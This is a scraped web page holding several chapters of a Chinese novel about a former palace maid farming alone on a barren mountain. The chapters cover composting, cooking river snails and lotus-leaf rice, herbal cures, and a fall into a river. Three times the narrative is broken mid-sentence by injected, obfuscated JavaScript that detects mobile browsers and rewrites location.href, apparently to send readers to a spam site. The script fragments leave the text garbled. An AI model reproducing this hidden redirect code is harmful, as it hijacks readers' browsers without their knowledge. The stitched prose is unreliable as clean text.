黄迎春还记得她在永安城里看的那场倾脚夫嫁女的亲事排场,因着人多,她被困在桥上,进退不得,也是因着人多,她在被困在桥上的那段时间里,听了许多关于王倾脚夫靠夜香发家的秘事。 其实也不算秘事,毕竟夜香与每个人的生活都息息相关,人人都能说上一嘴,只是他们说的,有许多黄迎春在村里和宫中时都不清楚。 原来,收夜香的门道也不少。 住在城里的人家,不仅要每月付费给倾脚夫,定时按点地开门把家里的夜壶递出去。 若是误了时辰,收夜香的倾脚夫等都不等,抬脚拉着板车就走。 没倒成的夜壶,只能委屈一家人捏着鼻子再用一天。 就是夜壶满了,也不能自己随意乱倒在某处,尤其是倒在护城河里。 一旦被人发现,问候祖宗八代都是轻的,还会被衙役抓到衙门去打板子。 自然,荷包也少不了受苦。 而倾脚夫收了夜香,转头就卖出去,又能赚上一笔银钱。 人的粪尿素有精肥之称,是所有肥料之中效力最强的。 倾脚夫收上来的夜香从来不愁销路,上至达官贵人,下到平民百姓,多的是人求上门来想多匀一些粪水。 在安朝,粪就是肥,肥就是粮食,粮食就是钱和生路。 捏住精肥,就等于捏着许多人的身家性命。 所以,没点后台的人,根本无法在倾脚夫里占据一席之地。 人人都嫌夜香活计腌臜,视倾脚夫为下九流。 但只有买卖过夜香的人才知道,这一行有多么暴利。 所以,城里常有倾脚夫打架的事情发生,衙门屡禁不止。 有那因为打架而被抓进衙门坐牢的,刑期一满出了牢房照样同其他倾脚夫抢地盘,这样混得不要命的人,衙役也管不住,只能常常训诫。 嫁女的王大据说没有后台、是专凭自己不要命的狠厉才在城西博出了一片天,成了西市某条街上著名的粪霸,笼络了几条街的夜香业务,之后瞬间发家。 黄迎春从来没想过收夜香会那么赚钱,如同她没想到原来精肥也分三六九等。 富人聚集的地方,例如永安城里的东市,收来的夜香卖出去的价钱是最上等的。 为什么呢?因为那里的人吃的东西油水多,所以拉出来的屎尿也有营养。 能住在东市的,每家每户都是大户人家,家里的院房大,伺候的奴仆也多,但是有权有势的人家自己都有许多农庄,再厉害的粪霸,也没办法把夜香收到东市去。 倾脚夫发家,主要靠西市的业务。 西市中人虽然不如东市有钱,但西市人口密集,光论夜香的产量,十个东市都比不过一个西市。 价钱最低贱的夜香,是倾脚夫从城外和乡下收来的。 只是,但凡不是家里揭不开锅的,没有一个倾脚夫愿意往村里跑。 他们嫌弃村里的泥腿子一年四季吃不上几口肉食,拉出来的东西光有臭味,没什么主顾愿意买。 虽然无人愿出好价钱买,但是有田有地的人家更舍不得卖。 粪就是肥,肥就是粮食,粮食就是命哪! 清高的读书人视金钱如粪土,贫穷的农家则把粪土视为金钱。 农人也知道自己肚里的油水少,所以为了能多吃一口肉,他们往往会在自家院子里养一些鸡鸭牛羊,不担心交不上牲畜税的人家家里甚至连猪、驴都有。 每日清晨,他们都会用心地准备好饲料,再把圈舍里的粪便用笤帚清扫干净,倒到簸箕里,运到土坑里放着,等着关键时刻派上用场。 家中没办法养太多牲畜或养不起牲畜的人家,略有些薄田的,也会在田里种上绿豆、蚕豆,还有紫云英等草类,不为吃,只为了翻压入土,待它们腐烂后成为绿肥。 而黄迎春连资产最下等的人家都不如,她虽然在山坡上开了一片豆田,一块种黄豆,一块种绿豆,但那都是她的粮食,豆种是她为了节省粮食特意买的。 稻田里的水稻过几个月还不知道能收成多少,黄迎春尚且不能保证自己能活过这个冬天,更不可能把好好的绿豆翻进土里做绿肥。 看前两天一网下去捞到的那只草鱼便知,肥沃的河泥一定是有的。 但是现在是夏季,而河泥往往在冬季挖出,经过冻晒和风化之后才能使用。 黄迎春思来想去,她目前唯一能做的,只剩下烧草木灰。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918573|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厨房的灶膛里有草木灰,但那些还不够。 今日恰好是微风,黄迎春在院前找了一块平地,先在地上铺了一层干燥的杂草和松针,又从柴房搬来一捆柴火,用火石打出火星,就地升起一个火堆,让干脆的树枝缓慢地在火里充分燃烧。 烧草木灰的过程中,黄迎春片刻都不敢离开,好在她需要的草木灰也不少,所以她不断地搬来新的柴火,往火里添柴。 烧草木灰的关键是要煨烬,绝不能猛火快烧,只能一点点把柴火缓慢地烧透,直至地面聚起一堆灰白色的灰烬,没有一点儿火星和黑炭,这才算真正烧好。 烧好的草木灰可以直接撒进田里,黄家村里有的村人还认为趁草木灰刚烧完还有余热的时候撒在田里,会有暖土驱虫的效果。 粪便是不能直接撒在田里的,无论是人的粪便还是动物的粪便,否则不仅会烧苗,还会生虫。 而且,没有经过腐熟的粪便难以被农作物吸收,肥效释放慢,肥力也差。 黄迎春目前采用的肥料发酵方法只有两种,一种是沤肥,一种是堆肥。 沤肥就是在隔着不会臭到她家的距离在地里挖个坑,然后每天早上把夜壶里的屎尿倒进坑里,再盖上点杂草,减少臭味的挥发。 堆肥则是找一块平地,把动物的粪便、落叶、杂草、泥土等多种物质层层堆积在一起,先用锄头拍实,隔段时间再翻一翻,调节一下温度和湿度,等肥堆变成黑褐色,也不再散发臭味,这堆肥便腐熟了。 黄迎春没有动物的粪便,她只有鱼鳃、鱼肠、鱼鳞等鱼身上各种不能吃的零件,间或夹杂着鱼刺、蚬壳、虾脑等物尽其用的“废物”。 草木灰烧好后,黄迎春用锄头就地推开,把它们和土壤混在一起,防止天气忽变,被风吹走。 然后,她进厨房灌了半筒温水,又去卧房换上草鞋,提着一个竹篮往河边走去。 本来是想去河边捡河蚬的,但黄迎春蹲在河边把手洗净后,又改了主意。 不知道为什么,黄迎春觉得自己现在满身都是粪臭味。 早知道今天就不在粪坑旁边待那么久了。 河蚬虽然鲜,但此时的黄迎春却没了吃它的兴致。 她提着竹篮往家走去,经过菜地,看见红彤彤的辣椒,心神一动。 她采下许多辣椒,放在竹篮里。 走进厨房前,黄迎春又折了一把紫苏叶。 炒螺蛳,怎么能少得了紫苏叶呢? 黄迎春买不起水缸,厨房里只有两只木桶,木桶是时时刻刻都装满水的。 黄迎春把手伸进桶里,捞出一碗已经吐净泥沙的螺蛳,把它连同辣椒和紫苏叶一起洗干净。 然后,黄迎春又拿着菜刀给螺蛳挨个去了尾。 河里螺蛳多,为了不浪费螺蛳身上的每一点肉,黄迎春特意拿竹子做了一个给螺蛳去尾的工具。 在劈开的竹片上钻孔废了她许多力气,但不得不说,有了这个去尾的工具,黄迎春最近吃起螺蛳来越发得心应手了。 去尾的螺蛳被黄迎春再次洗净,接着,她下锅热油,把切碎的姜、蒜和辣椒通通倒进去,翻炒几下后,黄迎春又倒进滤干水分的螺蛳,猛火快炒,一时之间,她的耳朵只能听见螺蛳壳与铁锅碰撞的声音。 后来,辣椒的香味迸发出来,直往黄迎春的鼻子里钻,黄迎春连忙往锅里浇了一点清水,又撒上盐,盖上木头锅盖,让螺蛳在大火下慢慢收汁。 汁水收得只剩一点锅底之后,黄迎春又倒入切碎的紫苏叶,趁热把辣炒螺蛳端上灶台。 又是一个围着灶台吃饭的夜晚,没有桌椅的黄迎春左手端着一大碗香辣的螺蛳,右手拿着沾着辣椒和蒜末的筷子,嘴巴不停地吮吸着,时不时就往旁边的簸箕里吐个螺蛳壳。 就是要这股香辣的劲儿,让人吃了一个还想吃一个,直到把舌头辣麻、嘴巴辣肿为止。 辣炒螺蛳,真痛快啊! 30.荷叶蒸饭 一口气把一整锅辣炒螺蛳吃了个痛快的下场就是第二天早上黄迎春一觉醒来,忽然发现她的喉咙又痛又干,仿佛她昨天夜里没躺在炕上睡觉,而是蹲在灶台前烧了一夜的火,喉咙被烟熏了一夜,所以此刻整个人才火烧火燎的。 嘴巴稍张大点舌根就疼,只是用无患子和杨柳枝刷个牙,却差点要了黄迎春半条小命。 辣炒螺蛳的原料不仅简单易得,从下锅到盛进碗里也不过片刻工夫,在肉食里,是一道名副其实的快手菜。 黄迎春昨天还在为辣炒螺蛳的好滋味一脸洋洋得意,今日方知“不是不报,时候未到”的道理。 想吃好吃的,果然得付出代价。 至于这个代价是事前、事中还是事后付,黄迎春没法判定。 总之,经过这一遭,黄迎春从教训里深刻地学到了一个道理——吃完辣炒螺蛳夜里不能睡炕,越睡越上火。 眼见天也越来越热了,虽然早晚河里的水还是凉的,山脚下的风还是冷的,但热得人恨不得绞了一头长发去庙里做尼姑的时节迟早会来,也该找个时间打架竹床先预备起来。 竹子易得。这座荒山长着黄迎春需要的所有竹子,毫不夸张地说,黄迎春一辈子都用不完。 虽然田家少闲月,但只要不是秋收,想挤时间,黄迎春还是能挤出一些时间来做床的。 只是,做竹床少不了工具。 钻孔需要钻子,截段需要锯子,开凿榫眼需要凿子……竹床做好后,还要在表面刷上一层清油,专制竹器的竹工最喜欢棕榈油,刷上后不仅能防虫蛀,还能延长使用年限。 这些工具黄迎春都没有。 无论是砍竹、劈竹还是分蔑,哪怕是在做晾衣架的时候,为使竹面光滑,不意外损坏衣物,黄迎春都是用镰刀来削平竹节的。 做竹床不比做晾衣架,做竹床是个细致活,没有墨斗,光是丈量长度一致的竹子就够让黄迎春头疼的了。 就算从今以后不再吃辣炒螺蛳,卧房里的火坑也不能让自己睡上整整一年。 黄迎春再度掏出藏在包袱里的一贯钱,皱着眉头看了许久,又默默地把她数了又数的铜板们塞到包袱底层放好。 只在山里过了一个季节,除了勤劳找不到其他安家之道的黄迎春迟迟下不了再去一趟镇子的决心。 一千个铜板,看着多,一花起来就少了。 这是她唯一能动用的一笔钱,还是再慎重一点吧。 黄迎春给包袱打了一个结,又认真调整角度,保证从外面看不出一点儿铜板的形状,这才放心地掩上门,担着两只空落落的木桶去河边打水。 每天晚上天黑之前,黄迎春都会去河边打满两桶水带回家。 因为家里没有水缸,所以黄迎春在干洗虾杀鱼之类的活儿时,都直接在河边解决,从来不带回家收拾,省得浪费她辛辛苦苦打回家的水。 刚在荒山脚下安家的时候,因为经验不足,偶尔有几回,因为田里的农活实在太多,黄迎春忙了这头忘那头,实在赶不及,也只能把食材带回家中去收拾。 只是,洗了菜,再淘米做饭,舀水煮汤,等到要洗碗的时候,桶里的水便不够用了。 好在黄迎春也不是天天都往锅里倒油,真遇上洗了锅就没水洗碗的时候,黄迎春就把吃完的碗往锅里一搁,再盖上木头锅盖防止老鼠偷袭, 第二天一早打来河水把碗拿出来用烧开的热水一烫,再用无患子搓点泡沫抹在丝瓜络上,只要三两下黄迎春就能把她有且仅有的一副碗筷洗得干干净净。 开出一块荒地之后,黄迎春终于能稍微歇口气,她也终于想起要犒劳一下自己哪哪都累的身体。 一个一文钱恨不得掰成八瓣花的穷人,住在离镇上提供按摩推拿业务的医馆足足大半天脚程的荒山脚下。 这种情况下,黄迎春唯一能想到的去疲良方,只有泡脚。 住在温差大、天气不定、荒得只有一处人烟的山脚下,每天洗头洗澡,无异于找死。 虽然黄迎春每天都出一身汗,每天从地里回来时都把自己的衣裳搞得脏兮兮,但她还是克服了她的心理洁癖,把洗头洗澡的时间放在了太阳高照的正午。至于阴风阵阵的夜晚,还有什么事是能比把劳累了一天的双脚浸在温热的水里更舒适的呢?黄迎春想不出来。 自从黄迎春开始泡脚,她每天傍晚都要往家里运两次水。 没水缸装不要紧,第一次挑回家的水可以先倒在铁锅里煮成热水。 有的盛进竹筒里,晾凉后拿来喝;有的舀进碗里,烹饪饭菜时可能有需要;还有的就通通倒进木盆。 黄迎春只有一个木盆,哪里需要哪里搬。 洗衣裳的时候,它是洗衣盆。 泡脚的时候,它是泡脚盆。 独居的好处之一是无论黄迎春做什么事,都没人批判她,哪怕她干了拿洗衣盆当泡脚盆这种在集体宿舍里堪称犯天条的罪事。 但是,黄迎春也不总是高兴的。 每当她在河里捡了河蚬、田螺、螺蛳等这类需要放在清水里吐一两天泥沙才能吃的东西,她只能割舍出一个木桶来盛它们。 想吃好吃的,一定会付出代价。无论是事前、事中还是事后的代价,总之要付代价。 黄迎春再次确认这一点。 由于黄迎春前两天拿了一个木桶去养螺蛳,她昨天晚上可支配的水并不多,刷锅洗碗再泡个脚,用得刚刚好。 今天早上,黄迎春刷牙漱口时用的水是昨天她特意提前烧开盛到竹筒里的热水。 除了喝水的水杯,黄迎春也用竹筒给自己做了一个牙杯。 牙杯不用杯盖,比水杯好做许多,只是用简陋的工具把杯口磨到不会误伤她的嘴舌也不容易。 总而言之,黄迎春自己“宠”自己,每天早上她一睁眼,牙杯里就装满了供她刷牙和漱口的水。 但是,牙杯里的水也只够她刷牙和漱口。 想要洗脸,黄迎春只能在去河边打水时顺带用双手掬起一捧水扑到脸上。 今天早上,也是如此。 黄迎春在河边放下扁担,不急着取水,先蹲下身把手洗干净,再紧闭五指,掌心合拢,舀起一捧水浇到自己的脸上。 “嘶——” 黄迎春忽然倒吸一口凉气。 不是因为夏初的河水依然冰凉冻人,而是——她在她的右边嘴角上方摸到了一颗肿起来的痘痘。 一面巴掌大的镜子至少要一百文,黄迎春自然也是买不起的。 自打出了宫,除开她在永安城里挥金如土的前三天,黄迎春就没住过一个能照镜子的地方。 黄迎春也不在意。 反正出宫后就再也没有人能要求她每日带妆上工了,不必再为权力服美役的黄迎春彻底放飞自我,要不是自己用过的胭脂水粉送人不妥当,黄迎春根本不会把那些她成天小心翼翼侍候的“祖宗”带出宫。 命都要没了,谁还在意脸? 当时的黄迎春没想到几日后她就被疯狂打脸了。 包袱里的胭脂水粉被黄迎春拿到当铺全部当了死当,给她干瘪的荷包回了一点点血。 要买的东西有很多,黄迎春并没有考虑仪容仪表这种对即将在山里劳作一生的她来说一点儿用处都没有的破玩意儿。 如果没有镜子又想照镜子怎么办呢? 好办,有水就成。 黄迎春一会儿站起来弯腰往下看,一会儿跪坐在河边的石头上,恨不得把自己的脸贴在水面上,终于,黄迎春通过河面上的倒影看清了自己的脸——真是好大一颗痘。 “怎么能红成这样?”黄迎春不死心地上手去摸,很快就被痛意击退,“啊!好疼!” 黄迎春说话时不小心扯到嘴角,又动了上火的喉咙,最终,她成功收获了双倍的代价大礼包。 “糟糕的早晨!”黄迎春一边把空桶抛进河中取水,一边无声地嘟囔道,“我只是想吃顿好的,我真的只是想吃顿好的,为什么这么难?!” 黄迎春着急回家喝淡盐水,险些忘了折下两片大叶子洗净后搁在桶里。 不管是用扁担挑水还是用手提水,随着人的走动,木桶会跟着起伏不定,木桶里的水也会在桶里来回晃荡,若是打的水多,便会泼洒出桶,所以,黄迎春每回打完水后,都会折两片又大又平的叶子放在水面上,这样提回家的水还是多的。 黄迎春担着两桶盛着绿叶的河水急匆匆地回了家,她一进厨房,便拿起水瓢舀了小半瓢水倒进锅里,盖上木头锅盖后,黄迎春又急急忙忙生火烧水。 生火的材料里刚好有干竹叶。 竹叶晒干之后拿去泡竹叶茶可以清热,专门针对心火过旺引起的口舌生疮。 可惜,当黄迎春意识到这一点的时候,竹叶已经被她送进灶膛,在她的眼皮子底下沦为她急需的草木灰。 黄迎春只舀了一点水进锅里,水上又盖着锅盖,火烧起来后,没过多久,水也烧开了。 黄迎春连忙把热水盛进碗里,又在水里放了一点儿盐,然后拿着筷子不停地搅弄碗底。 等水晾到能入口的温度,黄迎春小口小口地把半碗多的淡盐水喝了个干净。 盐能软坚散结,是专治因食物上火而喉咙肿痛的利器。 然而,黄迎春放下碗去地里劳作了许久,昨天烧好的草木灰也全部都落到田里成了肥料,黄迎春撑着锄柄,试探着咳了两声,还是没感到自己的喉咙肿痛有得到多少的缓解。 不应该呀,淡盐水这招向来是百试百灵的啊。 到底是哪里出错了呢? 日头出来之后,黄迎春的后背出了汗,沾了汗水的衣裳黏糊糊地贴在身上,让黄迎春浑身都不得劲。 黄迎春顺手就扯着衣裳抖了两下,想让路过的清风顺着衣领吹进后背透透气,然后,她忽然想到了症结所在。 她不仅仅是简单的辣椒上火,还睡了一整夜的热炕啊! 怪不得淡盐水没用。 黄迎春弯下腰,从竹筐的杂草堆里翻出几棵车前草,预备带回家中去煮水。 车前草在田里是和农作物争抢养分的野草,到了药材贩子口中,就成了利尿通淋、清热明目的草药。 黄迎春在黄家村里的第一桶金,就是从田间地头随处可见的“野草”中一点点积攒来的。 去河边洗锄头和车前草的时候,黄迎春又在她踩出来的小道两旁看到几株蒲公英,便提着锄头顺手一起挖了。 蒲公英也能下火,而且可以全草入药。 正好,把蒲公英的草叶捣碎了抹在痘上,兴许能快点消下去。 转眼,黄迎春就把一切都安排得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928782|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明明白白,然后背着盛满杂草的竹筐,抓着洗净的两种草药,提着使用痕迹愈发深刻的锄头往家走去。 杂草铺在院子里晾干,车前草丢到锅里煮水,蒲公英包在麻布里用干净的石头捣碎……黄迎春忙了许久,才想起来她还没吃朝食。 安朝一天只吃两餐,一早一晚,分为朝食和夕食。 黄迎春过了二十几年一天只吃两顿饭的日子,已经想不起来一天吃三顿是什么感觉了。 她的胃已经习惯了一天中只有朝食和夕食的日常,以及,在食物丰富、活计允许的情况下,正餐中夹杂的点心和茶水时间。 辣炒螺蛳的滋味真的很好,好到黄迎春完全忘了一直萦绕在她鼻尖的那股粪臭味。 但是,辣炒螺蛳的滋味再好,黄迎春近期仍然不会再碰这道菜——上火的滋味,不是一般的难熬! 黄迎春的朝食很简单,她今天早上刚开了一块菜地,移栽了一些菜苗,又播撒了一些菜种。 菜种是黄迎春在镇上买的,根据时令和种子收集难易的不同,菜种的价钱也分了好几个不同的档位。 最便宜的菜种三文钱一包,一包一百粒,黄迎春一下子拿了八种。 这八包全是春夏的菜种,菜种撒在土里后,包种子的干荷叶也没了用处。 去掉破损的两张,黄迎春留下六张荷叶,把它们用清水洗得干干净净,又放在热水中浸泡。 趁这个时间,她抓了一把米放在碗里,也舀了一些清水放进碗里同大米一起浸泡。 做荷叶蒸饭最好是用大米和糯米,以一定的比率混合,这样蒸出来的米饭口感会令胃口大吃一惊。 但是,黄迎春没有糯米,她的大米也得省着吃,最后只能斟酌再斟酌,拎着竹篮去菜地采回一大篮菜。 饭不够,菜来凑。 大米泡好后,干荷叶也浸软了。黄迎春把荷叶铺在圆口筲箕里,然后把米放在荷叶上,尽量使每张荷叶上的米量是均匀的。 接着,她把荷叶一个个包好,用自己手搓的草绳系上,把荷叶放在竹架上蒸。 放荷叶包的竹架也是黄迎春最近做的,为了一口吃的,她可谓是无所不用其极,拿着镰刀和鹤嘴锄,天天手搓一些用途奇奇怪怪的竹具。 如果上辈子她有这种手艺,少说也能去创意大赛上拿个三等奖。 黄迎春一边做白日梦一边处理食材。 豌豆剥出壳,虾仁切成丁,菌菇撕得细碎,混入还未晒透的河蚬肉干,下油锅翻炒。 炒得差不多了,黄迎春又把荷叶包一个个解开,把成形的米饭倒入锅中,连同配菜一起翻炒,然后又加入少量虾粉调味,继续翻炒。 每个饭粒都裹着油亮喷香的颜色,被黄迎春送进暗绿的荷包里,紧紧地包住,放在竹架上又蒸了许久。 蒸好的荷叶包,打开之后,一股浓郁的荷叶清香扑面而来。 不枉我费了两回劲,包了两回饭在荷叶里蒸啊! 黄迎春深深地嗅了一口,满意地解开层层包裹着的荷叶。 米饭粒粒晶莹,豌豆饱满,虾仁蚬肉各有风味,荷叶和菌菇的味道在黄迎春的嘴里经久不散,吃得她差点忘了嘴角上方肿痛的红痘。 黄迎春顺手拿掉黏在嘴角下方的饭粒,自言自语道:“味道也刚刚好。” 虾仁和河蚬肉干本身就有味道,黄迎春就没有放盐,虾粉也只加了一点。 黄迎春一点儿也不吝啬地赞赏自己:“我的预判果然没错!” 荷叶蒸饭里的食材已经足够丰富,而且六个荷叶包几乎承包了黄迎春一天的饭量,黄迎春便没有再做汤,而是在口渴时顺手拿起蒸饭前放在竹筒里晾凉的车前草水。 只喝了一小口,黄迎春却险些把刚吃下肚的荷叶蒸饭都吐出来。 自从在荒山落户安家,黄迎春隔三岔五就能发现一件她意想不到的事情。 但是,黄迎春还是没想到,她盼望许久的第三种味道,不是酸,也不是甜,竟然是苦! 太苦了! 多年不喝,她差点忘了这些以下火著称的草药煮水起来吃着有多苦! 怎么能这么难喝? 黄迎春紧闭双眼,以壮士断腕般的决心,一鼓作气,将黑绿色的药水喝了个干干净净。 “呕——” 正扒在豌豆架上啄食豌豆的珠颈斑鸠扇着翅膀腾空而起,与朝着山坡一路狂奔的黄迎春擦肩而过,并不知道黄迎春在急些什么。 它在天上盘旋了一会儿,见无人回来,又落到豌豆架上,两只爪子牢牢地扒着竹架,低着小脑袋一点一点地啄食碧绿的豌豆。 而黄迎春呢?她浑然不顾喝生水可能会肚子疼,跑到河边漱了好久的口,又跑到她第一次发现桑树的山坡上采了一大把桑葚,来不及一点儿,直接往没洗的桑葚往嘴里狂塞,过了许久,才觉得自己捡回了一条命。 在荒山安家是一定要吃苦的,这点黄迎春在出城前就做好了准备。 她也有想过——她的日子不会一帆风顺,可能会遇上天灾或是人祸,兴许哪天她就丧失了在荒山生活的勇气。 黄迎春想过许多种可能,唯独没想过她第一次冒出“这日子真苦”的念头,会是在她喝了车前草熬煮出来的药水之后! 太苦了! 简直不是人喝的东西! 31.虾仁什锦 车前草熬的药水太苦,黄迎春没办法说服自己尝试第二次。 于是,她翻遍田间地头,把所有她印象中能去火的草药采了个遍,带回家中一一试验,一天三顿不重样地喝。 短短几天,黄迎春也将干荷叶茶、干竹叶茶、新鲜的金银花煮的水、晒干的金银花煮的水、野菊花的花序煮的水等茶水药汤尝了个遍。 另外,黄迎春还坚持把马齿苋、蒲公英等草药包在麻布里用石头捣烂,敷在自己起火冒痘的嘴角上。 一天两回,一早一晚,黄迎春的眼睛睁后闭前,研究的全是这件事儿。 终于,在黄迎春内服外敷,又连吃了好几天的水煮菜后,她终于把身上的火气彻底清掉了。 黄迎春的嘴角也恢复了原有的柔软,无论用指腹摸多少遍,都是让人心生雀跃的光滑,找不到一颗痘痘。 黄迎春十分感动。 同时,黄迎春也意识到拥有一架竹床对现在的她来说是一件多么迫切的事情。 若不是发现上火之后夜里还一直睡炕,她也不至于折腾这么久才把火消下去。 一想起这几天遭的罪黄迎春就来气——明明前一天还照着河面上的倒影欣喜于痘痘的消退,第二天早上从炕上一起,没等刷牙就发现自己的嘴里起了一个泡。 痘和泡此消彼长,净干让人烦心的事! 好在,在溪边扯了几把鱼腥草拿回家吃了几顿凉拌菜,她身上的火气终于是消停了。 黄迎春开心得不得了,这些天她天天喝那些苦得各不相同的药汤,都快把自己变成传说中试药的药人了。 太好了,我的舌头终于有救了! 黄迎春挑起扁担就往家冲,进了厨房,把两个盛满河水的木桶卸下来,喘口气的工夫都等不及,连忙把家里那些还没吃完的野生草药全部搂到竹篮里,迫不及待地拿到外面丢掉。 说是丢,其实也不是随意乱丢,黄迎春原想把那些让她又爱又恨的草药一股脑地都倒在土堆上做堆肥,本着不浪费的原则,还是在竹篮里翻翻找找,挑出根须上还有土、看着还没彻底蔫掉的草药,拿着鹤嘴锄在竹篱笆旁边一挖一个坑,把它们通通埋进土里。 种草和种菜一样,种下后必须立刻把水浇足,把土浇透,这样才能让植物的根须和土壤紧密融合,帮助幼苗更好地适应移栽后的新环境,同时也有利于提高移栽的成活率。 黄迎春刚从河边挑回来的水,浇浇土再浇浇菜,转眼间又少了一大半。 天气越来越热了,菜地里的蔬菜三五天一个样,浇水、锄草、施肥、捉虫,哪样都少不了。 黄迎春把菜地全安置在前院,每次播撒菜种或移栽菜苗时,觉得地不够了,她就再往前开一块。 反正在这地界没人管她,黄迎春开荒开得十分随意。 院子里没井,家里又只有两个木桶和一个水瓢,把菜地里所有的菜该浇的全浇一遍,黄迎春不知道要去河边打多少次水。 麻烦事已经够多的了,黄迎春不愿意让自己走更多的路。 菜地全开在前院,不仅浇水能少走几步路,摘菜也方便许多。 只是,菜地开得越多,菜地里的蔬菜长得越好,越衬得黄迎春刚沿着菜地篱笆边上栽下去的那几棵草药可怜。 远的不论,就连长在近处的、黄迎春前阵子在篱笆边上栽了一圈的艾草,都比今天新种的这几棵长得好看,不仅绿得精神,数量也多。 厚此薄彼的事情可不能干。 黄迎春提着鹤嘴锄背着竹筐就出了院门,打算再寻摸一些有用的野草带回来种一种。 就算没办法再围着竹篱笆绕一圈,好歹也能给那些帮她去火的功臣们做个伴。 这一寻,便出了事。 如果能静下心来老老实实地待在一个地方,哪怕以一步为径画个圈,也能发现一种以上有用的植物,但是,黄迎春还是放弃了。 这么寻找的效率实在太低了! 有的植物能止血,但是黄迎春现在又没有流血,一时半会的用不上,她也不希望自己能用上。 有的植物药材贩子会收,黄迎春看了看,却连挖它们的心思都升不起来——还没到采收期;荒山野岭的遇不上药材贩子;数量太少,也不是珍稀品种,为它专跑一趟镇上的医馆一点儿也不值当…… 还有的植物收拾收拾能做盘菜,然而黄迎春开了十几片菜地,已经成熟的菜多得吃都吃不完,她总不能放着现成的经过时间检验、农人培育的菜蔬不吃,跑到山坡上弯着腰一棵棵费心劳力地去挖野菜吧? 花时间也就罢了。 重点是,她看到的这些野菜没一种味道是好吃的——已经是夏天了,大多数野菜都过了季了。 最终,黄迎春还是放弃在山坡上进行地毯式搜索,转而沿着河道一路往上走,一边走一边寻。 河道的下游是一片竹林,过了竹林是一条小溪,竹林的另一侧是几棵垂死挣扎的松树,黄迎春在松树下采松树菌时,站在那里能眺望到远处的一片松树林。 如果不越过竹林往小溪去,只是穿过竹林沿着河流一直往下走,会看到什么样的景象? 黄迎春不知道,她只知道那一定超过了荒山的范围,哪怕竹林后的东西再好,也不是她能碰的。 碰一回两回还好,若是第三回她被人抓住了呢? 此处虽然荒无人烟,但哪怕是这座荒山也有它的主人,谁能说得准竹林后的东西不是无主的呢? 黄迎春不敢赌这个可能性,所以她从来不敢越雷池一步。 况且,她连自己的山都还没开发多少,更不必把心操得那么远。 黄迎春以她的家为分界点,暂时只知道河道下游的世界是这些。 也许等到哪天她把自己的这座山摸熟了,也可以找个时间去看看竹林后的模样。 黄迎春内心怀着这样的期许,不过她也明白,那是很久以后的事情了。 如今,她最应该考虑的是,要怎么熬过她在山里的第一个冬天。 在熬过冬天之前,更迫切的一件事是,她该怎么熬过这个蚊虫漫天的夏天? “啪——” 又一只蚊子吐着红色的血死在黄迎春的掌心下。 黄迎春挠了挠她被咬了好几个包的脸,越走越生气。 这里的草怎么这么多呢? 长得高也就算了,叶子还这么锋利! 河边的茂密野草挡住了黄迎春看路的视野,黄迎春张开双臂,把它们往两边拨开,结果,她先是被一堆四散乱飞的蚊虫扑面袭来,然后没被衣裳护住的皮肤被又细又长的草叶割了好几条红道道,又痒又疼还不能上手碰,黄迎春泄愤似的抽出竹筐里的镰刀冲着草堆一顿左劈右砍,挡住脸鼓着一口气埋头往前闯,没走几步,就掉进河里。 鞋底碰到水的一刹那,黄迎春就已经发现不对劲。 她连忙扯住旁边的水草,也不顾草叶是否会割伤她的手,一门心思求生。 一直紧握在右手里的镰刀也往后远远一抛,人也拽着草叶跟着往后走,仍然不管用,还是栽进河中。 河泥湿软,困住黄迎春的腿脚。 黄迎春想挣扎,又不敢放开手里的水草。 草叶托不住黄迎春的重量,往水里倒去,黄迎春的手沿着折断屈弯的草杆一路往下滑,紧紧地抓着陷在河泥里的草根,终于渐渐稳住了她的身形。 此时,黄迎春手里渗出的鲜血已经染红了水草白绿色的嫩芯和根茎。 好在此处的河水不深,黄迎春从意外落水的惊吓中缓过神来,慢慢地抬起脚,一点一点地挪上了岸。 双脚踩在坚实的土地上,黄迎春过了许久,依然惊魂未定。 黄迎春从怀里掏出擦汗用的麻布,麻布只有一条,她的两只手都因为抓水草受了伤,黄迎春只能选择先把受伤最严重的右手缠起来。 缠好后,她又转身去找镰刀。 没有镰刀,秋收时她就割不了水稻。 水稻收不了,她就会饿死。 黄迎春不敢想象镰刀丢失了她会是什么心情,万幸,她一回头就在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哭什么呢? 黄迎春在心里问自己。 她不知道缘由,也找不到答案。 她擦干眼泪,挎着竹篮走出厨房,在菜地里想吃什么摘什么,什么新鲜摘什么,又提到河边把菜一一洗净,最后提回厨房,举起菜刀把它们一一切碎。 干虾仁是黄迎春出门之前就已经泡在碗里的,此时碗里的清水呈现淡淡的黄色,虾仁的个头也饱胀了一些,黄迎春看了一眼,把虾仁用筷子通通夹到筲箕里,抖了两下水。 接着,黄迎春开始给蔬菜焯水。 蔬菜焯水时应该要往锅里下点盐,这样蔬菜的颜色会更鲜亮,也能去除一些蔬菜的涩味。 